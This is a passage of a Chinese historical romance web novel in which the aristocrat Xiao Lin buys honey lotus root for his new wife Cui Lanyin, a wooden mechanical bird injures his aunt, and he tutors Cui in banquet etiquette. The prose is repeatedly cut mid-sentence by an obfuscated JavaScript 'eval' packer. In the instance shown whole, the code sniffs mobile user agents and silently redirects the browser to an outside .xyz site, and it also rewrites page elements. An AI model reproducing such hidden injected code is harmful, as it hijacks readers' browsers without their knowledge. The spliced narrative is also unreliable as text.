小郎拉住母亲衣袖,不服气道:“阿娘,真是那位娘子送我的!她听说我祖籍是离安,还问了好多事,说不定就是同乡的人如今发达了想关照我们一二呢?!” 妇人抹着眼泪,哽咽道:“没想到……我们还能遇到这样的好事。” 母子俩一顿哭诉。 他们的经历颇为坎坷,最初为离安镇民,因为洪水决堤背井离乡,千辛万苦到眉江附近定居,万没有想到又碰上眉江百年难遇的大雨,河水冲毁居所,只能千里迢迢来建康投奔亲戚。 “眉江之事朝廷已在治理,水患已褪,百姓们也回到故土重建家园,景澄会给你们些钱,是去是留自便。”萧临挑开车帘,朝外道。 妇人见到犊车上的萧临,衣冠华贵,姿态优雅,好一个神仙模样的郎君,和她们是真正的云泥之别。 她涨红脸皮,一边感谢一边坚持表示不能白拿人钱财。 “不然,把那些饼卖回给我,原本……她也是要给我的。”萧临说完,才察觉不对,像是他多期盼那些饼,然而话已经出口,几双眼睛都落在他脸上,或好奇或探究,让他暗暗叹了口气。 他对景澄使了个眼色。 景澄赶紧掏钱袋子,“对,就卖给我们郎君吧。” “买”回来的饼萧临未看,让景澄两人分食。 / 耽搁了时间,等找到卖蜜藕的走贩时,糖藕已经见底了。 景澄赶紧朝景澜伸手要钱,“快快快!还剩下一份。” 被挤开的官员见两人猴子般出现,又闪电般买走最后一份大吃一惊,再见着萧家的青牛犊车停在不远处,他朝着车窗口露出脸的人无奈摊手,“神玉?你怎么喜欢上吃这甜食?” 萧临解释:“买与旁人。” 又对随从道:“景澄,不得无礼,是张侍郎先买的。” 张侍郎乐了,挤眉弄眼笑道:“旁人?哦——是你的新妇吧?那我不跟你抢了,留着你小子献殷勤吧!” 他摆摆手。 萧临轻轻叹出口气。 崔兰因来这一趟,硬是把他身边搅得一团乱。 解释太过麻烦,萧临颔首。 “算是吧,多谢。” 张侍郎面皮发红,脚步虚浮走到犊车前,打了个酒嗝,叉腰道:“算、算是吧?你该不会对新妇也是这样说话?不成呐,要改改——” 他拍着车壁,促狭道:“不然你那夫人迟早被二殿下拐跑咯!” “二皇子?” 被萧临的目光扫至身上,张侍郎才瞬间酒醒三分,赶紧打了个哈哈,溜之大吉。 挑事的跑了,景澜景澄两个人还不得不收烂摊子。 “郎君切莫放在心上,都是市井流言,不过是因为二皇子和夫人早年相识,关系好一些。” “是啊,倘若两人真有眉目,圣人早就为二皇子聘娶了。” 两人绞尽脑汁想安慰他,萧临自个倒是面不改色道:“我又不曾介意。” 随后让景澄把蜜藕放进车来,吩咐回府。 暮鼓响彻街道,夜幕如口大碗罩住建康城。 小贩们纷纷收拾东西归家去,唯恐遇上夜行执法的巡卫。 沉闷的鼓声伴着混乱的人声犬吠鸟叫,急急躁躁如同一阵令人厌烦的骤雨。 萧临端坐在车里,手纹丝不动地搁在膝上。 他阖上眼,不去想任何事。 装蜜藕的荷叶包随着车厢颠簸撞到他,他睁眼瞥着那蜜藕。 崔兰因。 这个名字浮了出来,就像是平静无波的水面突然飘来一片花瓣。 哪怕花瓣立刻被捞走,激起的涟漪还在水面上一圈又一圈荡开,留下难以抚平的痕迹。 萧临把蜜藕推开一段距离,望向窗外。 / 回到萧府,正是亥初时刻。 萧临先去拜见母亲。 “神玉回来了啊。”先招呼他的人是一名笑容可掬的妇人。 萧临先朝她行礼,“二叔母。”而后才正身朝向坐在卷纹台桌后的萧母请安,“母亲。” 错金银兽纹博山炉腾起乳白色的香雾,萦绕在王大娘子保养得当的指上,磨得发亮的算珠被拨弄,挨个撞出清脆的声响。 “身上怎么沾了东西也没有注意到?” 萧临用余光瞥向自己腿侧。 若不仔细看,那几个发硬的米粒并不会被人留意。 蜜藕里的糯米? 兴许是刚在车上挨碰时粘上的。 “这样匆匆忙忙,是有什么急事?” 王大娘子推开算盘,眉心攥出深深的川字,精明的眼睛把萧临从头打量到脚。 萧临道:“并无。” “君子修身,内正其心,外正其容。不可因事小而不察,你也知道千里河堤溃于蝼蚁,怎么越大反而越冒失了?”王大娘子满脸严肃。 萧临道:“母亲说的是,是儿疏忽大意。” “哎呀,神玉已经很懂事了,不像我家那个,若不是他爹牢牢看着,三天两头要上梁揭瓦,你啊就是疑神疑鬼的,总是怀疑有的没的,神玉又不是你的犯人,何至于在这里盘问?”二叔母手肘搭上桌,笑着打趣。 王大娘子毫不客气道:“你儿怎可与神玉相比?神玉肩负的是整个萧家,他行错踏错影响的是萧家几百口人的前途与性命,他若是不做个正确的表率,谨言慎行,哪有萧家现在的光景?” 二叔母顿时满脸通红,坐立难安。 一方面王大娘子的话直白难听,一方面她说得并没有错。 萧临静默,他站在最光亮的中央,目光却落在不被照亮的角落。 王大娘子转头对萧临道:“潘侍中寒门出生,主动与你结交多半别有所图,切不可掉以轻心。 萧临颔首,“是。” 王大娘子又道:“听闻七郎前些日子特意向你请教,你以忙碌拒之,待事忙完,别忘了指导一二,他明年就要入仕,还有很多需要向你学习。” 萧临亦温声道:“好。” 虽然都是索然无味的事,但都是他的责无旁贷的任务。 王大娘子最后才说:“今日崔氏归宁回来,不知道跑哪里哭了一顿,还错过了门禁,我本该以家规处置,但念在她是初犯就让她回去思过。” 萧临这才稍抬起眼。 哭了一顿? “有何不妥?” 知子莫若母,萧临微微动动眼皮,萧母都能觉察他的心绪有异动。 “没有。”萧临否认。 王大娘子审视着他八风不动的神情,道:“不管如何,既成萧家妇,她的规矩就得按萧家来,你且请人好好教她,以免之后萧家的冬日宴上丢了你的颜面。” 萧临未答。 萧母想到儿子婚姻这件大事她都被蒙在鼓里,全凭老太公和他两人做主敲定,就气不打一处来。 “你自己要娶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔兰因应该是刚沐浴过,宽衣窄袖,腰带松系,满头青丝没有挽起,只用了条银红的发带束在脑后,一张素白的脸不染半点脂粉胭脂,却依然肤莹唇艳。 因为离得近,视角又恰好,萧临不但能从她微微张启的唇瓣里看见一截险些伸出的鲜红舌尖,还能看见掩在宽松衣襟下的一抹堆雪。 萧临立刻别开眼睛。 扑通扑通—— “长、长公子。” 几个婢女埋头跪伏在地上,个个双肩颤动,骇得不轻。 萧临的目光移到那几个吓破胆的萧家婢女身上,哪能不明白。 “你带着她们胡闹?” 随着长公子碎玉破冰的声音落下,婢女们身体颤动得更剧烈了,紧挨的脑袋上钗环互撞,叮叮作响,弄得崔兰因都莫名心里头有点紧张。 不过她又不怕萧临,伸出手一拽,将人往屋里带。 “怎么就是胡闹了,正好,我给你看个好玩的东西!” 香风、暖意刹那拂面,驱散了笼罩在他面上的寒意。 萧临下意识蜷起手指,却握住一只柔软腻滑的小手。 那是崔兰因的手。 对方好像没有意识到自己在做什么。 萧临也忘记要说什么,更忘记挣开。 崔兰因把他拉进屋,又叫四周的婢女起身,先他一步发话道:“好了好了,你们先出去吧。” 婢女们如蒙大赦,迅速退出屋。 景澄不知所措,东看看西看看,还要顾着别给那些低头不看路的婢女撞翻手里的东西。 “蜜藕!”崔兰因眼睛尖,瞧见景澄护在手中的东西,笑吟吟对萧临道:“夫君你真给我买了,谢谢啊!” 萧临被她这灿烂的笑容晃了下眼,严厉的说辞彻底咽了下去。 崔兰因请他坐下,再让陈媪去切蜜藕。 萧临整理衣袍坐好,抬头就是一句:“这么晚不能再进食了。” 陈媪拿着蜜藕点头,嘴巴一张好像就要给崔兰因倒背萧家家规。 崔兰因抬手制止陈媪说教,歪着脑袋,奇怪道:“你不让我吃,为什么要给我买呀?” 萧临被她问住,一时沉默。 崔兰因道:“你是不是觉得,我说想吃蜜藕就是故意折腾你?有没有可能是我真的想吃?你既然答应给我买,就应该默认我要吃,哪有买了还不让人吃的道理!” 顿了片刻,崔兰因终于意识不对,把气愤的语调一收,又温温柔柔加上两个字,“夫君。” 陈媪:“……” 景澄:“……” 疾风厉雨化作春风细雨,快得让人咋舌。 “……” 萧临不知该说什么好,只能温声道:“你吃吧。” 5. 祸福 崔兰因把糖藕切成八份。 分给陈媪、景澄四份,自己独自吃剩下的四份。 崔兰因心里哼哼。 至于萧临,神仙餐风饮露足矣。 萧临与崔兰因隔几而坐。 崔兰因像是忘了旁边的人,一言不发吃着糖藕。 陈媪欲言又止,但长公子在场,她又不好直接开口提醒崔兰因,只能忧愁地拧着眉。 而景澄则目瞪口呆,不得不佩服崔兰因的好心态。 还没有人在长公子说“不可”后还吃得这么香,浑像个没事人,稳的好比拿刀握枪在战场上厮杀了几十年的老将! 萧临无事可做,唯有看着崔兰因。 若以他挑剔的眼光看,崔兰因吃东西的仪态并不优雅,但她就是吃的……也不难看。 而且看她高高兴兴吃东西的样子,心里不由会产生好奇,就真这么好吃? 不过许是刚刚的话崔兰因听了不高兴,所以一块糖藕没给他留,全部吃进自己肚子里,最后用帕子擦了擦嘴,才慢悠悠把目光放回他身上。 迎上她的目光,萧临不禁正襟危坐。 吃完甜食,崔兰因心情大好,对着萧临也就没有火气了,拿出一物放在桌上,献宝道: “这个东西可稀奇了,夫君肯定没见过。” 那是刚崔兰因拿在手里的木头小鸟。 萧临在她期待下拿起观察。 这木鸟所有的关节处并未用榫卯夯实,反而是由精巧的小齿轮连接,拨动鸟首时,小鸟的翅膀也跟着扇动,就像是随时准备起飞一样,栩栩如生。 机关鸟? 萧临管建造水利,手下也不乏能人巧匠,见识过能够用以灌输的龙骨车、可以疏通淤泥的混江龙、测量高程的水准仪等等,他知道越是小巧的机关越能反应出匠人高超的水平,这只还没巴掌大的小鸟能有这么活灵活现的表现,那造它的手艺人必然是个高人。 “是不是很少见?”崔兰因像个喜欢新奇的孩子,大方道:“你给我买了糖藕,礼尚往来,这就送你玩吧!” 陈媪不忍直视,偏过头去。 萧临早过了玩乐的年纪,推拒不受,但崔兰因非要塞给他。 “礼轻情意重,长公子莫不是嫌弃了?” “……不是。” “那就拿上!” 萧临瞧出崔兰因这架势,他放下几次,对方肯定都会塞回来,索性就拿在手里,说回正事。 “母亲应该同你说过,每年元日前,萧家都要举办冬宴,届时你也要出席,我不清楚从前你在崔家是如何应酬招待客人的,但萧家的规矩有所不同,所以后日会请人为你专门讲议程与要领。” 崔兰因倒不意外王大娘子看不上她学的规矩,只是好奇问:“会是何人来教我?” 萧临回道:“是一位萧氏的长辈。” “严格挑剔吗?” “自然。” 崔兰因长吁短叹道:“我倒是没什么,就怕我学不好,长辈会生气,若是气坏了身子,我岂不是罪过?” 萧临道:“你好好学,她岂会生气?” “要不你还是说我病了,让我待着屋中休息好了。”崔兰因想出个更省事的法子。 “不可。” “你就不怕我丢了你的面子?” 萧临认真看了眼崔兰因,她长着一双聪颖灵动的眼,一张能言多辨的嘴,又不是愚钝蠢笨之人,哪有什么是做不到学不会。 “你按要求做,不会出错。” 这便是无论如何都要她出席,还要她做好。 崔兰因不能偷懒心中自是不乐意,但那边陈媪一直在对她挤眉弄眼,要她收敛些。 “知道了,我会好好学。”崔兰因蔫蔫道,打着哈欠要陈媪送客。 陈媪松了口气,正要照办,突然想起件事。 这里是新房,长公子是郎婿,哪有夫妻一直分房的道理? 陈媪把到口的话一收,转而殷切发问:“郎主,您今晚要在这里歇着吗?” 萧临一怔,他也忙忘了。 这处屋子本是他的寝卧,是他从分院以来一直睡到大的地方,里面一箱一柜还放置了他的物品,只是因先前要布置成新房他才暂居前院。 陈媪突如其来的话把崔兰因的瞌睡都吓跑了。 萧临一直没有回后院,她早习惯了独自睡,突然要多一个人势必会带来许多问题。 比如,今晚就圆房吗? 崔兰因倒不紧张圆房,她只是担心长公子“不近女色”的毛病还没有治好,万一看着她犯病,岂不糟心。 这事还是应该循序渐进,最好每天找个机会多见见面,加深彼此的了解。 崔兰因兀自陷入烦恼,好在萧临并无此意,敛下目温声道:“不必了,我还有公务要回去处理,伺候夫人歇息吧。” 萧临跨出房槛,景澄替他关上门。 主仆走进四方回廊包围的庭院,景澄还是百思不得其解。 “郎君,夫人怎么和别的夫人太不一样。” 旁的夫人都期盼夫郎能够日夜相伴,哪有大晚上的还把人往外送,也不出声留一留,怎么看都透着奇怪。 “有人喜欢自也有人不喜欢,没什么稀奇。” 萧临看得明白。 世人吹捧他,把他说得世无仅有、绝世无双那又如何,他也不过是个凡人,并不是真正通灵万物的“神”。 他做不到让所有人都喜欢,更没有必要去追究崔兰因为何不喜欢他,又为何不开口留下他。 萧临低头看着手里的机关鸟须臾,把它放在旁边一棵树下。 明日院子里扫洒的人一眼就能看见,届时便会归还给崔兰因。 主仆两人离开,一直栖在树上的狸花猫张开嘴抻长前腿,伸了个懒腰,然后一跃而下,盯上这只奇怪的木头鸟,左右嗅了嗅,不一会就叼上了树。 隔日,来教崔兰因规矩的人就上门来。 对方自称是萧临的姑母。 崔兰因才笑吟吟唤了声“姑母好”,那夫人便拧起眉头,挑剔道: “你便是那个崔家失踪十年才找回来的女郎?这妆容是谁给你画的?如此寡淡简单的,还有这站姿,你是萧家长公子的新妇,又不是他门前的守卫。你母亲能把崔大娘子教成温婉恬静、秀外慧中的窈窕淑女,怎么你……” 萧姑母“啧” 声,即便没有说下去,但是嫌弃之意已经溢于言表。 崔兰因的笑容慢慢淡了,眉心舒展,一副任尔东西南北风①的闲适。 “姑母,容我说一句。” 萧姑母蹙起细柳眉,严肃斥道:“噤声!长辈说话的时候,不允许随意插嘴!” 崔兰因也不迟疑,提起声就喊:“萧姑母!长辈有错,小辈若不及时提出,岂非是糊弄长辈,由着长辈一错到底?!” 她年轻,还能比不过嗓子? 所以这一嗓子可比萧姑母清脆响亮多了,旁边的壮妇都吓得一个激灵,头顶树叶还应景地飘零下几片。 萧姑母双目震颤,心脏怦怦。 她完全没料到这个崔氏女居然敢在长辈面前大喊。 一抿唇,两道刻痕明显的法令纹让她面容变得更为严肃,也更威严。 高门世家蕴养出的气度,颇具威慑力,寻常人底气不足,都不敢轻易与之对视。 崔兰因却睁大眼睛,不躲不避,口中道:“其一,萧姑母不招呼就上门来,也未尽到长辈该有的礼节。其二,萧姑母不给小辈时间整理仪容,催促见面,也未在意我仪容整不整。其三,站得直是我个子高显得,姑母若觉得这样不好,那不如我坐下听讲。” 崔兰因在一众建康女郎里,的确算得上个子高挑,而萧姑母生得矮小,足足比崔兰因矮了大半个头。 “你、你——”萧姑母被她三句话堵得哑口无言,怒火中烧。 这个崔氏女!好狂妄!好无礼! 她此生除了那个白眼狼前夫,还没受过这么大的气!受过这么重的辱。 “夫人!夫人!” 妇人抚着胸口进气多出气少,哼哧哼哧大口吸气,胸腔剧烈起伏,旁边忠心的仆妇左右搀扶,被她带着一一同连连后退,就在这个时候,众人头上的树冠又簌簌晃动两下,一道黑影忽然垂直砸下,好恰不巧好打在萧姑母头上,一汩鲜红的血顺着她的额头蜿蜒流下。 “血!出血了!夫人!”仆妇尖叫。 萧姑母捂着脸惊惶失措, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那你的意思是,我往自己头上砸一下,赔给她,算我自己倒霉?” 陈媪眼皮狠狠一跳,握住机关鸟的尖嘴,“娘子当心!为一老妇弄伤自己的脸,得不偿失!” 陈媪再怎么说,可心里还是明白,萧氏再怎么要紧,也比不上崔兰因这张如花似玉的脸啊! 她是万万舍不得崔兰因伤害自己。 “都怪这只鸟,也不知怎么就飞到树上,害娘子有口难辩!”陈媪又把过错转到机关鸟上。 可惜机关鸟有口不识言,无法为己辩驳。 “不管如何,这鸟我给了长公子,他就有责任!”崔兰因表面笑得甜,暗地里却磨着后牙槽。 陈媪吃惊:“您……要找长公子告状?” “这怎么能叫告状,责任在谁总要理个清楚把?” 崔兰因才不吃哑巴亏。 但崔兰因还没找上门,当日傍晚萧临就主动过来了。 崔兰因两手叉腰准备开战,萧临眉目温和,主动道歉: “机关鸟是我留在树下的,兴许被野猫带上了树,又不小心掉了下来,伤了姑母,此中缘由我已经向母亲和姑母解释,与你无关。” 难怪雷声大雨点小,那些嚣张的仆妇端着一张要撕了她的面孔急吼吼走,却任由她逍遥自在大半天,半点事也没有。 原来是刚正不阿、光明磊落的长公子没有隐瞒过错,把自己从这场“意外”中摘出去。 而萧姑母再怎么受宠,萧家也犯不着为一次意外责罚长公子。 崔兰因悻悻放下双手,“哦”了声。 她还以为至少要和萧临辩驳几回,才能把这冤案理清楚,谁曾想居然是她以小人之心度君子之腹了! 萧临主动认错。 这种感觉很微妙,很复杂。 就像小土丘直面巍峨高山,高低立显。 萧临缓了口气,又道:“所以姑母受伤不便来教你,这些时日我早中晚都会过来指点你,有什么不明白的尽可问我。” 崔兰因愣,重复道:“……早中晚?” 萧临点头,详细解释:“早上寅初时、中午午正时、晚上戌正时。” 早上出门前,中午吃饭时,晚上下值后就是他能为崔兰因挤出来的时间,如此也是他能够想出最妥当的处理方式。 崔兰因眨了眨眼,居然还有此等好事? 她笑盈盈问:“意思是,夫君早中晚都要来看我咯?” 女郎的眼睛亮晶晶的,像是在期待着一些不会发生的事。 萧临顿了下,“你可以当是这么一回事。” 6. 好疼 景澄、景澜两人手里各捧了几十本册子,一股脑垒到旁边隔间书案上。 崔兰因伸头张望,“那些是什么?” 景澄站出来,十分骄傲地挺胸道:“回夫人的话,这都是建康城里有名有望的世族家谱。” 不但有师承、姻亲、故友等关系,重要人物还配有插画,这可是萧家花大功夫做出来的,别的地方还没有呢! 崔兰因想起来了,在崔家时,母亲也曾经搬来了一大叠册子,满页挤满豆子大小的字,要她背。 世族表面上以姓氏泾渭分明地划分,但是几百年来早在地底下犹如互相盘绕的树根,纠缠不清。 但亲缘尚有远近,姻亲也难有长久。 自是一会张家李家亲,一会王家谢家亲,就好比没有百日红的花,也没有固若汤池的联姻。 “你今夜先看看,尽量把前面王、谢、萧、裴几家人记下来。” “尽量?” 崔兰因愕然,长公子是不清楚光这四家就有多少口人吗? 萧临交代完,再次托有事离开,徒留下满脸郁闷的崔兰因和满脸喜色的陈媪大眼瞪小眼。 “他是要我亡。” “这是长公子关心您!” 崔兰因有气:“他又不是我父亲也不是夫子,怎么还给我布置功课了!” “长公子少有俊才,不知多少人想以他为师都不能够啊!”陈媪努力劝说道:“长公子如此繁忙还肯抽空教娘子,可见他对娘子还是有心的,如此一来,娘子更有机会与长公子频频接触,早日圆房……” 崔兰因这次把话听进去了,点头,“傅母,你说的极有道理。” 反正她的目标又不是成为家谱大全,能够和萧临早中晚见面,还愁不能寻到他的破绽? 陈媪见崔兰因开窍了,高兴地连连点头。 开窍的崔兰因看也不看案上堆积的册子,打着哈欠往床走,“不管了,头疼,先睡了。” 陈媪紧随着她,忧道:“娘子,你好歹看几眼,明日一早长公子还查验功课,要是知道你一页没看,岂不是要生气?” “王家、裴家我不熟,谢家和萧家我还能背出几个,足够应付交差了。” 崔兰因打定主意的事陈媪很难劝其回心转意,主仆两人拉扯了一阵,最后还是以陈媪放弃告终。 熄灯后,陈媪很快就在耳房睡着了,崔兰因却翻来覆去到半夜,好不容易才睡着。 寅时初,陈媪被外边的动静惊醒,隐约听见有人在唤,她迷迷糊糊穿好衣,推门出去就见到萧临带着景澄景澜,主仆三人都穿得齐齐整整,精精神神。 年轻人就是精神好啊。 陈媪越发感觉自己年老力衰,尤其是这天一日冷过一天,早上压根不想起来。 陈媪走上前,行礼,“郎主稍等,奴这就去喊娘子起床。” 萧临问:“她还未起么?” 陈媪尴尬地笑了,“兴许是昨夜看书晚了。” 萧临并没起疑,让陈媪进去叫醒崔兰因。 只是陈媪进去没多久,屋子里就传来一声“我不起!——” 过了好一阵,灰头土脸的陈媪打开门出来,她脑袋都快低到怀里去了,羞愧难当道:“郎主……要不稍坐片刻,娘子她还没清醒。” “郎君哪有那么多时间稍坐?”景澄忍不住道。 这点时间都是郎君牺牲自己的休息时间挤出来的。 “那……”陈媪也是左右为难,崔兰因入睡困难起床更难,之前在崔家就磨合了好久才让她在一个固定的时辰起来,嫁到萧家后这个起床时间提前了半个时辰,崔兰因也忍了。这次长公子来,又提前半个时辰…… 昨夜崔兰因还没有意识到这个难题,但到早上她就一丁点儿也不想起床了,陈媪好说歹说都没有作用。 “景澄。” 景澄不甘不愿闭上嘴。 萧临这才对陈媪说:“方便让我进去吗?若……她实在不愿意起来,我在旁边问两句也行。” 如此体贴温柔,如此善解人意,这世上再没有比长公子更好说话的人了。 陈媪感动,哪好再拒绝,连忙道:“哪有什么不方便的,郎主请。” 此时天还没亮,屋内的灯熄了大半,只有角落里有几只残烛贡献了点余光。 但是萧临对这间屋太熟悉了,闭着眼睛都能走,没过片刻,他就停在床边。 原本前面还有个绣满青绿银杏叶的三折立地屏风遮挡,但如今不知道被收拾到哪去了。 他放眼望去,大红色的喜帐已经被撤下,挂上绣满暖橘色柿子纹的帐子,这样的花色,萧临一辈子都不可能挂在自己床上,只是现在这床已经不属于他。 鸠占鹊巢的人裹着被子睡成一团,就连萧临的眼力,都没法分出哪边头哪边脚。 真的很难描述,床上这一团人就是他八大轿娶回来的夫人。 他抬手敲了敲床架上部的横梁,嗡嗡的木头声带着整个床微微发出共鸣。 床上的东西拱了下,很敷衍地给了点反应,好像只是证明了下人还睡着,没死。 “崔……”叫崔氏仿佛有点太生硬,萧临犹豫了片刻,“兰因。” 被子下的人安安静静仿佛又沉睡过去,忽而整个被子蛄蛹了下,从一个口子伸出个乱糟糟的脑袋。 “……怎么是你?” 崔兰因睡得整张脸白里透红,娇色盈面,只不过配上那一头凌乱的头发丝瞧着像是从哪个山窟窿里刚爬出来的小山魅。 茫茫然不知道山外是何年何月。 萧临开口提醒:“现在寅时了。” “哦哦对。”崔兰因边点着头,慢慢把自己挪起来,坐在床上,头顶还盖着被子,从上往下把自己包成个三边形的粽子。 过了好一会,她又歪头问:“……寅时?” 崔兰因脑子根本还没清醒。 萧临左顾右看,没有找到昨夜崔兰因奋发图强的证据,反而发现一件小衣和一条绸裤。 小衣搭在床尾,绸裤一半夹在被子里,一半扭成了蛇样。 “……” 萧临想不通,崔兰因究竟要怎么睡,才能把衣裳睡掉,还把脑袋埋进被子里? 就是他养的蛇,睡觉的姿态都要比她端正,永远是藏起尾巴,把脑袋搁在最上面那截身子上。 想到崔兰因被子下没剩多少衣物,萧临偏过头,轻咳了声,开门见山问:“昨夜你记了多少?可有什么疑惑难解之处要问?” 崔兰因听到学习相关的话,总算又醒了点神,正要随便糊弄两句,就见萧临转过去的半张脸。 想起母亲说过,长公子不近女色,房内连个贴身伺候的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977516|161405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婢女都没有。 她还当是夸张,现在看来,八成不假。 他是个连自己妻子在卧榻上多看两眼都觉的是在冒犯的郎君。 但萧临越是一本正经,崔兰因就越想打破。 崔兰因流落在外讨生活的那些年,见过形形色色表里不一的人。 就像有些水表面看着清,搅合搅合,下面浑得很。 她坚信人无完人,即便一时没露破绽,那也只是外面那层皮遮得好,只要撕掉外皮,下边指不定藏着什么魑魅魍魉妖魔鬼怪呢! 眼下只有他们二人,孤男寡女正是一个试探的良机,崔兰因精神一振,从被子下悄咪咪游出只手,直冲萧临袖子而去。 萧临余光见一截欺霜压雪的小臂就要挨上来,下意识往后一躲。 “哎呦!” 崔兰因叫得很大声,萧临不得不回头,只见崔兰因裹着被子的身子歪斜在床沿,好像刚刚摔疼了般抬起水汪汪的眼睛,委屈道:“夫君,你弄疼我了。” 带有控诉之意,音调高昂。 萧临鬓角青.筋冷不丁一跳。 屋外有人磕绊到槛子上,闷咚了声,房门拖曳着长长的咯吱声,轻轻“哒”得声彻底合拢。 在那些动静里,崔兰因抿着唇忍笑,用胳膊肘勉励撑起身,颤了颤,又倒下,试了几次,嘴里呜咽,“呜呜呜,好疼,不行——不行——” 若不是萧临自个眼睁睁看着,光听女郎嘴里嘟囔的这些话,都要怀疑是他在做什么暴行欺.虐她一样。 崔兰因一边小动作一边没停嘴,哼哼唧唧的声音像只小猫爪不轻不重地挠着人。 萧临听不下去,想叫她住嘴,可涌到嘴边的字眼都不是那么合适,他更担心她会乘风起浪。 崔兰因不是一般的女郎,她的坏心思都快从压不住的嘴角溢出来了。 于是萧临微眯起眼,一气呵成把她按下,并捂住她的嘴。 动作很快,带着不容抗拒的力量。 崔兰因被按在床上,嘴也给捂着,只有一双惊诧的眼睛睁得圆溜溜,黑亮的瞳仁清晰地照映出他“强压而下”的巨大阴影。 萧临见之,心错跳了一拍。 他不愿恃强凌弱,本该立刻松手,但不知道为何,手没有动,心中还生出个阴暗的念头:这是她自找的。 崔兰因在故意惹他生气,他知道。 他这么做也并不是因为生气,只是不想她再继续发出那些声音,言语没有动作来得快和方便,方法可能不对,至少她现在乖乖安静了,不是吗? 萧临的呼吸不知不觉重了些,但很快他就宛若无事收回手,连声音都恢复清泠幽冷。 “抱歉,午时我再过来。” 留下这句话,长公子告辞而去,徒留崔兰因呆愣躺在床上,半晌才眨了下眼睛。 陈媪进来时,崔兰因裹在被子里,像只被打湿的小鸟垂着脑袋,身子微微发颤。 她心一咯噔,顾不得许多,上前相问:“娘子,长公子刚对您做什么了?” 崔兰因抬起脸,她不但脸颊酡红,眼睛里也盈满泪雾。 难道是长公子不满娘子,做出了什么粗.鲁之事! 陈媪心都要碎了。 崔兰因捂住胸口,像惶恐又像是激动,呜咽道:“傅母,我刚刚心跳得好像快死了!” 7. 放纵 若说早晨崔兰因心跳如沸水,午时她的心静如止水。 “啪。” 长长的竹棍轻点在桌子上。 崔兰因的嘴停止咀嚼,隔着足可供十名舞姬共舞的场地,用八成疑惑掺杂着二成愤怒的眼神问萧临。 又怎么了! “酒杯饮完要放回原处,菜掉下不可用手接,肉食不便入口可请侍从婢女为你切小,万不可用牙撕咬,用食应先以清淡小菜开胃,由淡到重依次入口,宴饮不以饱腹为目的,讲究的是品尝,你吃太多了。” 崔兰因把口里的食物咽下去,身后的景澄及时为她放好青瓷酒杯。 她“优雅”地放下沉重的玉箸,又遵照礼仪用帕子按了按唇,这才一把握住萧临还没来得及收回去的竹竿,忍气发问:“夫君为何坐那么远?” 好不容易挨过上午,等到中午,崔兰因还指望与萧临能够再续“前缘”但只一声“你坐对面去”就把她的那点小雀跃击得粉碎。 分明他早晨还不是这幅避之不及的模样。 男人,翻脸如翻书! “旁观者清,这里正好是客人能够清楚观察你的距离,松手。”萧临抖了抖腕,竹竿在崔兰因手里颤动。 崔兰因用手掌把竹竿压好,“这么说,夫君是觉得离我近了,会入迷?” 旁观者清,当局者迷给她这么一说,平白多了几分暧.昧。 景澄景澜登时眼观鼻鼻观心,埋头当一对鹌鹑。 萧临波澜不惊:“正事上不谈闲事,刚刚提醒你的地方可记住了?再做一遍。” 景澄和景澜把桌子上的饭菜酒点都撤了下去,再按次序为崔兰因布了一次酒菜。 崔兰因举起玉箸,唉声叹道:“菜都凉了,不好吃了。” “不是为了让你吃的。” “可是我早膳就没有吃,现在好不容易到中午,你也不让吃。” 萧临问:“早膳为何没有吃?” “还不是我太困了,你来闹了一场后我又睡着了,起来迟了不及给阿家、老夫人请安,阿家说以后起迟了都不给吃,我都没说是因为你。” “我走的时候是寅时一刻,如何耽搁你了?”话音一顿,萧临问:“你每日都几时睡?” 说起来,萧家除起床的时间之外,还规定安寝的时间,没有公务在身也没有家事操劳的女眷、奴仆都应按规定时间熄灯休息。 这一点陈媪早就说过无数遍。 崔兰因道:“二更时就睡下了,只是睡不着……大概三更时候才迷迷糊糊睡去,可是五更你就来了!”① 这听起来似乎还真是萧临扰人清梦了。 所以萧临难免要多问句:“为何睡不着?” 崔兰因其实原本是没有失眠的毛病,只是到了建康成日不是学这就是学哪,崔母也是为她操碎了心,盼望她能早日把身上的“陋习”都扭转过来。 母女俩日日斗智斗勇,一个为了偷懒一个为了督促,谁也没有过得好。 崔兰因就是从那时候开始睡不好。 但这时候她总不能说是崔母的关系,死也要拉萧临下水。 “夫君那么严肃要我背世家谱,我唯恐做的不好,所以才睡不好。” 这离萧家办宴还有一段时间,崔兰因要是因此睡不着,等到了日子人也憔悴了。 萧临道:“你不必这样紧张,母亲会操办好一切,届时你身边也会有陈媪提醒,你只需认个大概。” “话是这么说,但是阿家还说晚些要考验我,万一我背不出可怎么办好?” 萧临问:“你觉得是那些背不出?” 崔兰因推开矮几,走到萧临身边坐下,萧临板正的身子僵了下,崔兰因没管,开始掰手指数。 先从谢家几个爱斗画写诗当木匠的郎君说起,再说王家几个爱恨纠葛的娘子,再磕磕绊绊说了几个萧家的人物,比如她掌管阖府的阿家,还有喜欢管人闲事的二叔、经常到阿家面前找骂的二叔母,以及两个虽然不理事但是说一不二的老太公、老夫人。 萧临在脑子里把崔兰因提到的人都过了一遍,这拢共也就十几号人,遂问:“就这些?” 崔兰因点头道:“对啊。这些人都比较有名。” “有名?” “有些是市井里传的,有些是小丫鬟们说的,反正很多人提过,我听来的比看来的记得深。” 萧临揉了揉发胀的鬓角。 所以崔兰因记人全靠道听途说的小道消息? “世族宴请不是孩童玩闹,无需知道旁的东西,只要记住他们在朝的官职、有无与人交恶、再者师徒、姻亲、故交等等……”萧临朝景澜伸手,景澜拿来谢家谱。 萧临翻看第一页,就反应过来,“你没有看我给的这些东西?” 